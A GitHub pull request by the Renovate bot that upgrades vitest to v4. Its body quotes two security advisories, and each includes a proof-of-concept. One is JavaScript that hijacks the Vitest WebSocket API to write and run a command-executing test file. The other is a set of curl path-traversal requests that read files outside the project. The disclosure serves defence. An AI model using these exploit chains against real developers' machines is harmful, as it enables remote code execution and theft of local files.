Skip to content

chore(deps): update dependency vitest to v4 [security]#16

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

chore(deps): update dependency vitest to v4 [security]#16
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate
Copy link
Copy Markdown

@renovate renovate Bot commented Feb 5, 2025

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
vitest (source) ^1.3.1^4.0.0 age confidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


When Vitest UI server is listening, arbitrary file can be read and executed

CVE-2026-47429 / GHSA-5xrq-8626-4rwp

More information

Details

Summary

Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.

Impact

Only users that match either of the following conditions are affected:

  • explicitly exposes the Vitest UI server to the network (using --api.host or api.host config option)
  • running the Vitest UI or Browser Mode on Windows
Details

The API handler for /__vitest_attachment__ uses the deprecated isFileServingAllowed incorrectly.
https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77
The function expects the passed value to use cleanUrl after the check before file system related operation.
Because of this, it is possible to bypass the check by \\?\\..\\. This is not possible on Linux as Linux errors if a directory named ? does not exist.

A similar problem exists in other places as well.

That said, this isFileServingAllowed check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using saveTestFile and running it using rerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there're readFile / writeFile / saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.

PoC
  1. Run Vitest UI
  2. Get the API token by curl http://localhost:51204/__vitest__/
  3. Run curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&amp;contentType=text/plain&amp;token=$TOKEN" (TOKEN is the API token)
  4. curl shows the content of secret.txt that is outside the project directory
Mitigations

Vitest now ships two configuration flags, allowWrite and allowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhost host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.

When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See browser.api.

Users who require the full interactive UI on a networked host must explicitly opt in by setting allowWrite and/or allowExec to true.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v4.1.0

Compare Source

Vitest 4.1 is out!

This release page lists all changes made to the project during the 4.1 beta. To get a review of all the new features, read our blog post.

   🚀 Features
   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v4.0.18

Compare Source

   🚀 Experimental Features
   🐞 Bug Fixes
    View changes on GitHub

v4.0.17

Compare Source

   🚀 Features
   🐞 Bug Fixes

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@changeset-bot
Copy link
Copy Markdown

changeset-bot Bot commented Feb 5, 2025

⚠️ No Changeset found

Latest commit: 9859abb

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 52fcf44 to 0245282 Compare February 9, 2025 23:31
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from d068b4b to 57533d8 Compare March 12, 2025 03:49
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 57533d8 to 3a4b38a Compare March 20, 2025 07:42
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 3a4b38a to f1485d7 Compare April 3, 2025 00:13
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from f1485d7 to 916577c Compare April 12, 2025 00:14
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 916577c to 6c18a10 Compare April 26, 2025 11:46
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 6c18a10 to 8688522 Compare May 24, 2025 03:56
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from dbd3633 to 2ccaa50 Compare June 6, 2025 13:03
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 2ccaa50 to cadf566 Compare June 29, 2025 00:03
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from cadf566 to 6ac5f72 Compare July 6, 2025 07:51
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 907a569 to 1aba858 Compare August 15, 2025 11:32
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 1aba858 to e7c60a7 Compare August 23, 2025 08:13
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from e7c60a7 to f005591 Compare September 1, 2025 08:20
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from f005591 to 0c7c30f Compare September 26, 2025 19:42
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 0c7c30f to 30af16e Compare October 25, 2025 07:31
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from bb662f0 to 08d19d3 Compare November 19, 2025 03:47
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 08d19d3 to 7256e9b Compare December 5, 2025 07:39
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 7256e9b to 2420e84 Compare December 31, 2025 23:37
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 2420e84 to 50ae699 Compare January 9, 2026 11:49
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 5373d3d to 530abba Compare January 24, 2026 03:09
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 530abba to 3e6d334 Compare February 3, 2026 04:12
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 1e6f977 to 8b3efc3 Compare February 18, 2026 03:58
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 8b3efc3 to 92bd499 Compare March 8, 2026 09:00
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 92bd499 to dc7f055 Compare March 14, 2026 19:55
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from dc7f055 to 7fa385c Compare April 15, 2026 12:50
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 7fa385c to b1fff2e Compare April 30, 2026 03:39
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b1fff2e to f95e066 Compare May 13, 2026 07:43
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from f95e066 to 16df171 Compare May 22, 2026 07:32
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 16df171 to 8a9662d Compare May 29, 2026 23:58
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 8a9662d to 9859abb Compare June 5, 2026 04:05
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] chore(deps): update dependency vitest to v4 [security] Jun 5, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants